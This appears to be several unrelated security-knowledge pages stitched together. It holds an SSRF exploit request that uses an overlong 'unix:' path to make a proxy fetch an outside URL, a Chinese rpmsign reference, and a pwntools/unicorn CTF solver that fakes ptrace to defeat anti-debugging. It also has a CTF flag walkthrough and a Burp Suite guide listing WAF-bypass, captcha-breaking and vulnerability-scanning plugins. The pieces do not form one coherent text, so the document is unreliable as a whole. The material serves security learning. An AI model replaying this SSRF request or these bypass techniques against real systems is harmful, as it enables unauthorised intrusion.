Send the following request to exploit the SSRF vulnerability:
```
GET /?unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|http://example.com/ HTTP/1.1
Host: 192.168.1.162:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
```
Got the response of `http://example.com`:

|
sec-knowleage
|
rpmsign
===
使用RPM软件包的签名管理工具
## 补充说明
**rpmsign命令** 使用rpm软件包的签名管理工具。
### 语法
```shell
rpmsign(选项)
```
### 选项
```shell
--addsign:为自动软件包添加签名;
--checksig:验证软件包签名;
--delsign:删除软件包签名;
--import:导入公钥;
--resign:重新签名软件包;
--nodigest:不验证软件包摘要;
--nosignature:不验证软件包签名。
```
|
sec-knowleage
|
from pwn import *
import struct
from unicorn import *
from unicorn.x86_const import *
r = remote("chains.of.trust.felinae.pl", 7679)
byte = ord(r.recv(1))
def recv(n):
data = ""
while len(data) != n:
data += r.recv(n-len(data))
return data
def read_decode_binary():
ln = struct.unpack("<I", r.recv(4))[0]
data = recv(ln)
open("/tmp/dump", "wb").write(data)
# memory address where emulation starts
ADDRESS = 0x1000000
rest = {}
def hook_code64(uc, address, size, user_data):
rip = uc.reg_read(UC_X86_REG_RIP)
mem = uc.mem_read(rip, size)
#print("AAA Tracing instruction at 0x%x, instruction size = 0x%x %s" %(address, size, repr(mem)))
if mem[0] == 0xe8: # CALL
rest[0] = struct.unpack("<I", mem[1:])[0] + rip + 5
uc.emu_stop()
print("Emulate x86_64 code")
mu = Uc(UC_ARCH_X86, UC_MODE_64)
mu.mem_map(ADDRESS, 2 * 1024 * 1024)
mu.mem_write(ADDRESS, data)
mu.reg_write(UC_X86_REG_RSP, ADDRESS + 0x200000)
mu.hook_add(UC_HOOK_CODE, hook_code64)
mu.emu_start(ADDRESS, ADDRESS + len(data))
mem = mu.mem_read(ADDRESS, len(data))
open("/tmp/dec", "wb").write(mem)
print rest
return mem, rest[0]
cnt_mmap = 0
ptraced = False
def dispatch(uc, num):
rdi = uc.reg_read(UC_X86_REG_RDI)
rsi = uc.reg_read(UC_X86_REG_RSI)
rip = uc.reg_read(UC_X86_REG_RIP)
def sendbyte(uc):
b = rdi & 0xff
print "Sending byte", b
r.send(chr(b))
return 1
def sendbuf(uc):
buf = str(uc.mem_read(rdi, rsi))
print "Sending buf", repr(buf)
r.send(buf)
return len(buf)
def recvbuf(uc):
buf = recv(rsi)
uc.mem_write(rdi, buf)
print "Received buf", repr(buf)
return len(buf)
def puts(uc):
buf = str(uc.mem_read(rdi, 256))
buf = buf.split("\x00")[0]
print "puts", buf
return len(buf)
def printf(uc):
buf = str(uc.mem_read(rdi, 256))
buf = buf.split("\x00")[0]
print "printf", repr(buf), hex(rsi)
return len(buf)
def dlopen(uc):
buf = str(uc.mem_read(rdi, 256))
buf = buf.split("\x00")[0]
print "dlopen", repr(buf)
return 1
def msleep(uc):
print "msleep", rdi
return 1
def dlsym(uc):
buf = str(uc.mem_read(rsi, 256))
buf = buf.split("\x00")[0]
print "dlsym", repr(buf)
if buf == "ptrace":
return ADDRESS + 0x20000 + 8 * 50
if buf in ["readlink", "getppid", "environ", "getenv", "strstr", "fopen"]:
buf = uc.mem_read(ADDRESS, 0x1000)
f = buf.find("488B4010".decode("hex"))
print "FOUND AT", f
f2 = buf.find("488B4010".decode("hex"), f+1)
assert f != -1
assert f2 == -1
print "And kay"
if buf[f-4] == 0x48:
f -= 4
else:
f -= 7
uc.reg_write(UC_X86_REG_RIP, ADDRESS + f)
return 12345
else:
print "not n"
if buf == "getenv":
return ADDRESS + 0x20000 + 8 * 51
if buf == "getppid":
return ADDRESS + 0x20000 + 8 * 52
if buf == "errno":
return ADDRESS + 0x20000 + 8 * 53
raise Exception("dlsym")
def pthread(uc):
print "pthread"
return 0
def mmap(uc):
global retnext, cnt_mmap
print "\t\t\tmmap number", cnt_mmap
buf = uc.mem_read(ADDRESS, 0x1000)
open("/tmp/xmap_%d" % cnt_mmap, "wb").write(str(buf))
cnt_mmap += 1
return ADDRESS+0x40000+cnt_mmap*4096
"""
retnext = True
buf = uc.mem_read(ADDRESS, 0x1000)
open("/tmp/mmap_%d" % cnt_mmap, "wb").write(str(buf))
if cnt_mmap != 1:
r.send(struct.pack("<Q", ADDRESS+0x40000+cnt_mmap*4096))
if cnt_mmap in [6, 7, 8, 9]:
print "XXX", repr(recv(1))
print "XXX", repr(recv(8))
elif cnt_mmap in [10, 11]:
print "XXX", repr(recv(8))
for i in range(4):
print "XXX", repr(recv(8))
elif cnt_mmap >= 12:
print "XXX", repr(recv(8))
print "XXX", repr(recv(8))
for i in range(4):
print "XXX", repr(recv(8))
cnt_mmap += 1
return 1
"""
def exitx(uc):
print "exit"
raise Exception("exit")
assert num % 8 == 0
num /= 8
try:
if num == 50: # ptrace
global ptraced
if ptraced == False:
rv = 0
ptraced = True
else:
rv = -1
errno = 1
uc.mem_write(ADDRESS + 0x20000 + 8 * 53, struct.pack("<Q", 1))
elif num == 51: # getenv
buf = str(uc.mem_read(rdi, 256))
buf = buf.split("\x00")[0]
print "getenv", buf
rv = 0
elif num == 52: # getppid
print "getppid"
rv = 1234
else:
rv = [
sendbyte, sendbuf, recvbuf, exitx,
puts, printf, 0, 0,
0, mmap, msleep, pthread,
dlsym, dlopen
][num](uc)
if rv == 12345:
return "PASS"
uc.reg_write(UC_X86_REG_RAX, rv)
return "OK"
except Exception as e:
print "Ugh", num, e
return "STOP"
retnext = False
while True:
mem, rest = read_decode_binary()
ADDRESS = 0x1000000
rest -= ADDRESS
def hook_code64(uc, address, size, user_data):
global retnext
rip = uc.reg_read(UC_X86_REG_RIP)
if retnext and rip < ADDRESS + 0x20000 -1:
retnext = False
buf = uc.mem_read(rip, 0x1000)
f = buf.find("\xc9\xc3")
f += rip
print hex(rip), "FOUND AT", f-ADDRESS
assert f != -1
uc.reg_write(UC_X86_REG_RIP, f)
return
mem = uc.mem_read(rip, size)
rsp = uc.reg_read(UC_X86_REG_RSP)
if rsp == ADDRESS + 0x200000 and mem[0] == 0xc3:
uc.emu_stop()
return
if rip >= ADDRESS + 0x20000:
res = dispatch(uc, rip - (ADDRESS+0x20000))
if res == "STOP":
uc.emu_stop()
return
if res != "PASS":
rip = uc.reg_write(UC_X86_REG_RIP, ADDRESS+0x20000-1)
#print(">>> Tracing instruction at 0x%x, instruction size = 0x%x %s" %(address, size, repr(mem)))
print("Emulate x86_64 code")
mu = Uc(UC_ARCH_X86, UC_MODE_64)
mu.mem_map(ADDRESS, 2 * 1024 * 1024)
mu.mem_write(ADDRESS, str(mem))
mu.reg_write(UC_X86_REG_RSP, ADDRESS + 0x200000)
mu.mem_write(ADDRESS+0x20000-1, "\xc3")
buf = ""
for i in range(100):
buf += struct.pack("<Q", ADDRESS+0x20000+i*8)
mu.mem_write(ADDRESS + 0x10000, buf)
mu.reg_write(UC_X86_REG_RDI, ADDRESS + 0x10000)
mu.reg_write(UC_X86_REG_RSI, byte)
mu.hook_add(UC_HOOK_CODE, hook_code64)
mu.emu_start(ADDRESS+rest, ADDRESS + len(mem))
byte = mu.reg_read(UC_X86_REG_RAX) & 0xff
print "byte", hex(byte)
|
sec-knowleage
|
# A little something to get you started - FLAG0
## 0x00 Index

## 0x01 Inspect Element
There is an background image here but not show on the page.

```html
<style>
body {
background-image: url("background.png");
}
</style>
```
## 0x02 Go Investigate
http://127.0.0.1:5001/xxxxxxxxxx/background.png

|
sec-knowleage
|
# Burp Suite
<p align="center">
<img src="../../../assets/img/logo/burpsuite.svg" width="30%">
</p>
---
## 免责声明
`本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.`
---
**简介**
Burp Suite 是进行 Web 应用安全测试的一个集成平台,无缝融合各种安全工具并提供全面的接口适配,支持完整的 Web 应用测试流程,从最初的映射和应用程序的攻击面分析到发现和利用安全漏洞等领域均适用。
**官网**
- https://portswigger.net/
**资源**
- [Mr-xn/BurpSuiteSuite-collections](https://github.com/Mr-xn/BurpSuiteSuite-collections) - 有关 burpsuite 的插件(非商店),文章以及使用技巧的收集
- [snoopysecurity/awesome-burp-extensions](https://github.com/snoopysecurity/awesome-burp-extensions) - burp 相关资源(英文版)
- [alphaSeclab/awesome-burp-suite](https://github.com/alphaSeclab/awesome-burp-suite) - burp 相关资源(中文版)
**教程**
- [Burp Suite 实战指南](https://t0data.gitbooks.io/BurpSuitesuite/content/)
**相关文章**
- [使用 burp suite 进行业务安全测试](https://testerhome.com/topics/15709)
- [商业web漏扫神器——burp suite篇详解](https://blog.csdn.net/dongfei2033/article/details/78323010)
- [【奇技淫巧】关于Burp Intruder模块的小技巧](https://mp.weixin.qq.com/s/E-Dlhbduf5TSjKeZWL25xw)
- [Burp Suite使用的几个小技巧【更新】](https://www.t00ls.net/thread-49051-1-1.html)
- [基于BurpSuit插件打造渗透测试自动化之路](https://www.freebuf.com/sectool/243617.html)
- [某次burp抓包出错的解决办法](https://www.cnblogs.com/cwkiller/p/13846754.html)
- [每天一个BP小技巧](https://mp.weixin.qq.com/s/j6x28xHln3guULkPLdat5w)
- [减少Burpsuite抓包过程中的‘噪音’](https://mp.weixin.qq.com/s/GGpojt445WrBlZw1BzQfCQ_)
- [[基础入门] - BurpSuite的常用Tips](https://mp.weixin.qq.com/s/Qlr1-VOUyOzjnHzx6CTJWw)
- [Burp Suite Pro real-life tips & tricks: Authentication engine for command-line tools](https://blog.z-labs.eu/2022/01/12/burp-suite-pro-authn-for-cli-tools.html)
- [武装你的Burpsuite](https://mp.weixin.qq.com/s/V6ejFDAoEbh3QsNdLMQ2og)
---
## tips
**部分网页依靠前端 JS 判断回包信息,如何篡改返回值?**
右键Do intercept -- Response to this request
**firefox 下抓包一直出现浏览器自己本身的包怎么办?**
Firefox `about:config` 里 `network.captive-portal-service.enabled` 设置成 `false` ,可以关闭火狐向 `http://detectportal.firefox.com/` 发包
或
右键 Request in brower -- In onginal session 也可以配置忽略掉这个域名的包。
**在没有导证书的情况下,一直需要手动忽略不安全的域名,怎么调整自动忽略?**
burp Proxy 组件 options 选项 TLS Pass Through 部分,勾选 automatically add entries on client SSL negotiation failure。
**一些爆破使用前端 md5 加密,怎么在爆破模块快速 hash payload?**
burp Intruder 组件 Payloads 选项 Payload Processing 部分,add -- Hash -- MD5
**中文显示乱码问题**
User options -Display - HTTP Message Display - Change font… 选择一个中文的字体格式,调整显示字体大小
User options -Display - Character Sets,选择 UTF-8 编码
**拦截指定 url 的请求响应包**
- 请求包设置
- Proxy - Options - Intercept Client Requests - Add
- 响应包设置
- Proxy - Options - Intercept Server Responses - Add
**自动替换数据包中的内容**
Proxy - Options - Match and Replace - Add
**不断提示连接超时**
删除 Connection: close 头部 , Proxy - Options - Set response header "Connection: close"
**关闭 http://burp**
Proxy - Options - Miscellaneous - Disable web interface at http://burp
**自动生成 CSRF poc**
右键请求 Engagement tools - Generate CSRF PoC
**只显示范围内的流量**
在 Target - Scope 中设置范围即可
**自定义字典路径**
**SwitchyOmega+Burpsuite+Chrome无法抓取127.0.0.1/localhost问题**
- https://syunaht.com/p/1006188223.html
- 在 SwitchyOmega 插件的不代理地址列表加个<-loopback>强制让谷歌浏览器代理本地回环
**改 ja3 特征**
Project options -- TLS 选择 Use custom protocols and ciphers ,随便修改下 Cipher ,这样通过自定义 Cipher Suites 可以简单快速的修改 ja3 特征
---
## 插件
### 信息收集
- [x41sec/BeanStack](https://github.com/x41sec/beanstack) - 使用堆栈跟踪进行 Java 指纹识别,实用性一般
- [bit4woo/domain_hunter_pro](https://github.com/bit4woo/domain_hunter_pro) - 信息收集神器
- [bit4woo/domain_hunter](https://github.com/bit4woo/domain_hunter) - 利用 burp 收集整个企业、组织的域名 (不仅仅是单个主域名) 的插件
- [Lopseg/Jsdir](https://github.com/Lopseg/Jsdir) - 从 js 文件中提取隐藏的路径并对其进行美化以便进一步阅读
- [InitRoot/BurpJSLinkFinder](https://github.com/InitRoot/BurpJSLinkFinder) - 自动收集JS里面的路径
- 注意: 这个扩展很吃内存,8G内存的机器就不要用了
- [gh0stkey/HaE](https://github.com/gh0stkey/HaE) - 高亮和提取敏感信息
- https://gh0st.cn/HaE/
- [TEag1e/BurpCollector](https://github.com/TEag1e/BurpCollector) - 通过 BurpSuite 来构建自己的爆破字典,可以通过字典爆破来发现隐藏资产.
- [orleven/BurpCollect](https://github.com/orleven/BurpCollect) - 基于 BurpCollector 的二次开发, 记录 Burp Map 记录的里的数据包中的目录路径参数名信息,并存入 Sqlite,并可导出 txt 文件。
- [redhuntlabs/BurpSuite-Asset_Discover](https://github.com/redhuntlabs/BurpSuite-Asset_Discover) - 从 HTTP 响应中发现资产的 Burp 扩展
- Active Scan++ - 主动扫描器,其实效果不是很理想
- [gh0stkey/CaA](https://github.com/gh0stkey/CaA) - BurpSuite 流量收集和分析插件
### 功能增强
- [d3vilbug/HackBar](https://github.com/d3vilbug/HackBar) - 顾名思义,这是 burp 中的 hackbar
- [bit4woo/knife](https://github.com/bit4woo/knife) - 添加一些右键菜单让 burp 用起来更顺畅
- [nccgroup/LoggerPlusPlus](https://github.com/nccgroup/LoggerPlusPlus) - burpsuite 的日志插件,不过是增强版本
- Collaborator
- [hackvertor/taborator](https://github.com/hackvertor/taborator) - DNS_log
- [NetSPI/BurpCollaboratorDNSTunnel](https://github.com/NetSPI/BurpCollaboratorDNSTunnel) - DNS_log
- [nccgroup/CollaboratorPlusPlus](https://github.com/nccgroup/CollaboratorPlusPlus) - DNS_log
- [PortSwigger/collaborator-everywhere](https://github.com/PortSwigger/collaborator-everywhere) - DNS_log
- [c0ny1/jsEncrypter](https://github.com/c0ny1/jsEncrypter) - 使用 phantomjs 调用前端加密函数对数据进行加密,方便对加密数据输入点进行 fuzz.
- [编写加密传输爆破插件jsEncrypter](http://gv7.me/articles/2017/jsEncrypter/)
- [PortSwigger/turbo-intruder](https://github.com/portswigger/turbo-intruder) - burp官方开发的爆破模块增强版
- [Turbo Intruder:BurpSuite高速 Intruder 插件介绍](https://www.freebuf.com/sectool/195912.html)
- [Burp - Turbo Intruder](https://www.cnblogs.com/muxueblog/p/14035477.html)
- [c0ny1/chunked-coding-converter](https://github.com/c0ny1/chunked-coding-converter) - 分块传输辅助插件,用于分块传输绕 WAF
- Hackvertor - 构造绕过 waf 的 payload 并破解 XOR 加密
- [利用burp插件Hackvertor绕过waf并破解XOR加密](https://www.4hou.com/tools/14353.html)
- [ekgg/Caidao-AES-Version](https://github.com/ekgg/Caidao-AES-Version) - 一个 Burp 插件,实现用 AES 算法透明加密原版菜刀 Caidao.exe 与服务器端交互的 http 数据流
- [c0ny1/sqlmap4burp-plus-plus](https://github.com/c0ny1/sqlmap4burp-plus-plus) - 一款兼容 Windows,mac,linux 多个系统平台的 Burp 与 sqlmap 联动插件
- [重构 sqlmap4burp 插件](http://gv7.me/articles/2019/refactoring-sqlmap4burp/)
- [bit4woo/reCAPTCHA](https://github.com/bit4woo/reCAPTCHA) - 一个 burp 插件, 自动识别图形验证码, 并用于 Intruder 中的 Payload.
- [c0ny1/passive-scan-client](https://github.com/c0ny1/passive-scan-client) - Burp 被动扫描流量转发插件
- [nccgroup/blackboxprotobuf](https://github.com/nccgroup/blackboxprotobuf) - 用于解码和修改任意的 protobuf 消息,而不需要定义 protobuf 类型.
- [c0ny1/captcha-killer](https://github.com/c0ny1/captcha-killer) - 验证码识别接口调用插件
- [TheKingOfDuck/burpFakeIP](https://github.com/TheKingOfDuck/burpFakeIP) - 通过修改 HTTP 请求头伪造 ip 的插件
- [Ebryx/AES-Killer](https://github.com/Ebryx/AES-Killer) - 可即时解密移动应用程序的 AES 加密流量的 Burp 插件
- [c0ny1/HTTPHeadModifer](https://github.com/c0ny1/HTTPHeadModifer) - 一款快速修改 HTTP 数据包头的 Burp Suite 插件
- JSON Beautifier - 格式化查看 json 数据
- [whwlsfb/BurpCrypto](https://github.com/whwlsfb/BurpCrypto) - 支持多种加密算法或直接执行JS代码的用于爆破前端加密的BurpSuite插件
- [federicodotta/Brida](https://github.com/federicodotta/Brida) - 用于 Burp Suite 与 Frida 协作的插件
- [hvqzao/burp-wildcard](https://github.com/hvqzao/burp-wildcard) - Burp extension intended to compact Burp extension tabs by hijacking them to own tab.
- [sleeyax/burp-awesome-tls](https://github.com/sleeyax/burp-awesome-tls) - Fix Burp Suite's horrible TLS stack & spoof any browser fingerprint
- [KagamigawaMeguri/burp-UnicodeAutoDecode](https://github.com/KagamigawaMeguri/burp-UnicodeAutoDecode) - Unicode自动转码为中文
- [nccgroup/AutoRepeater](https://github.com/nccgroup/AutoRepeater)
- [winezer0/passive-scan-client-plus](https://github.com/winezer0/passive-scan-client-plus) - Burp被动扫描流量转发插件
### 漏洞检测
- Authz - 快速探测越权
- [wuntee/BurpAuthzPlugin](https://github.com/wuntee/BurpAuthzPlugin) - 探测越权漏洞的插件
- [PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler) - HTTP_request_smuggling 辅助工具
- [ozzi-/JWT4B](https://github.com/ozzi-/JWT4B) - 即时操作 JWT,自动执行针对 JWT 的常见攻击
- [doyensec/inql](https://github.com/doyensec/inql) - 用于 GraphQL 安全测试的扩展
- Wsdler - 解析 WSDL 请求,以便使用 repeater 和 scanner 对 WSDL 请求进行测试。
- [API-Security/APIKit](https://github.com/API-Security/APIKit) - Discovery, Scan and Audit APIs Toolkit All In One.
- [wagiro/BurpBounty](https://github.com/wagiro/BurpBounty) - Burp Bounty (Scan Check Builder in BApp Store) is a extension of Burp Suite that allows you, in a quick and simple way, to improve the active and passive scanner by means of personalized rules through a very intuitive graphical interface.
- [Sy3Omda/burp-bounty](https://github.com/Sy3Omda/burp-bounty) - Burp Bounty is extension of Burp Suite that improve Burp scanner.
- [smxiazi/xia_sql](https://github.com/smxiazi/xia_sql) - xia SQL (瞎注) burp 插件 ,在每个参数后面填加一个单引号,两个单引号,一个简单的判断注入小插件。
- [ethicalhackingplayground/ssrf-king](https://github.com/ethicalhackingplayground/ssrf-king) - SSRF plugin for burp Automates SSRF Detection in all of the Request
- [ilmila/J2EEScan](https://github.com/ilmila/J2EEScan) - J2EEScan is a plugin for Burp Suite Proxy. The goal of this plugin is to improve the test coverage during web application penetration tests on J2EE applications.
- [F6JO/RouteVulScan](https://github.com/F6JO/RouteVulScan) - 递归式被动检测脆弱路径的burp插件
**shiro**
- [pmiaowu/BurpShiroPassiveScan](https://github.com/pmiaowu/BurpShiroPassiveScan) - 一款基于 BurpSuite 的被动式 shiro 检测插件
- [bigsizeme/shiro-check](https://github.com/bigsizeme/shiro-check) - Shiro 反序列化检查 Burp 插件
**fastjson**
- [p1g3/Fastjson-Scanner](https://github.com/p1g3/Fastjson-Scanner) - a burp extension to find where use fastjson
- [Maskhe/FastjsonScan](https://github.com/Maskhe/FastjsonScan)
- [bigsizeme/fastjson-check](https://github.com/bigsizeme/fastjson-check) - fastjson 被动扫描、不出网payload生成
- [pmiaowu/BurpFastJsonScan](https://github.com/pmiaowu/BurpFastJsonScan) - 一款基于BurpSuite的被动式FastJson检测插件
**Log4j**
- [whwlsfb/Log4j2Scan](https://github.com/whwlsfb/Log4j2Scan) - Log4j2 远程代码执行漏洞,BurpSuite被动扫描插件。
- [f0ng/log4j2burpscanner](https://github.com/f0ng/log4j2burpscanner) - CVE-2021-44228 Log4j2 BurpSuite Scanner,Customize ceye.io api or other apis,including internal networks
### 插件开发
- [rsrdesarrollo/generator-burp-extension](https://github.com/rsrdesarrollo/generator-burp-extension) - 帮助 burp 插件开发的工具
---
## 安装及维护
**linux**
这里以 kali 举例,kali 自带的是 openjdk 不支持新版 burp,自行下载 [oracle jdk](https://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html)
安装过程见 [Power-Linux](../../Integrated/Linux/Power-Linux.md##JDK)
没问题就直接运行即可 `java -jar <burp文件名>.jar`
**mac**
- [macOS 下如何优雅的使用 Burp Suite](https://www.sqlsec.com/2019/11/macbp.html)
### 证书配置
对于 HTTPS 的包需要在浏览器中导入证书进行解密
**证书**
- **firefox**
浏览器访问 `burp/` ,下载 cacert.der 证书
firefox 到 隐私与安全->证书->查看证书->导入->一路下一步安装,证书存储选择存储在 `受信任的根证书颁发机构` 全部勾选信任
- **chrome**
Proxy -- Options -- Proxy Listeners 中 import/export CA certification 导出证书 选择 Certificate in DER format
打开 Chrome 浏览器的设置选项,找到管理证书的按钮 ,在受信任一栏中选择导入,将刚才保存在本地的证书导入进去
---
## Target
Burp Target 组件主要包含站点地图、目标域、Target 工具三部分组成,他们帮助渗透测试人员更好地了解目标应用的整体状况、当前的工作涉及哪些目标域、分析可能存在的攻击面等信息
### Site map
Site Map 的左边为访问的 URL,按照网站的层级和深度,树形展示整个应用系统的结构和关联其他域的 url 情况;右边显示的是某一个 url 被访问的明细列表,共访问哪些 url,请求和应答内容分别是什么,都有着详实的记录. 基于左边的树形结构,我们可以选择某个分支,对指定的路径进行扫描和抓取.
同时,也可以将某个域直接加入 Target Scope 中.
**右键--Compare site maps**
站点比较是一个 Burp 提供给渗透测试人员对站点进行动态分析的利器,我们在比较帐号权限时经常使用到它.当我们登录应用系统,使用不同的帐号,帐号本身在应用系统中被赋予了不同的权限,那么帐号所能访问的功能模块、内容、参数等都是不尽相同的,此时使用站点比较,能很好的帮助渗透测试人员区分出来.一般来说,主要有以下3种场景:
1. 同一个帐号,具有不同的权限,比较两次请求结果的差异.
2. 两个不同的帐号,具有不同的权限,比较两次请求结果的差异.
3. 两个不同的帐号,具有相同的权限,比较两次请求结果的差异.
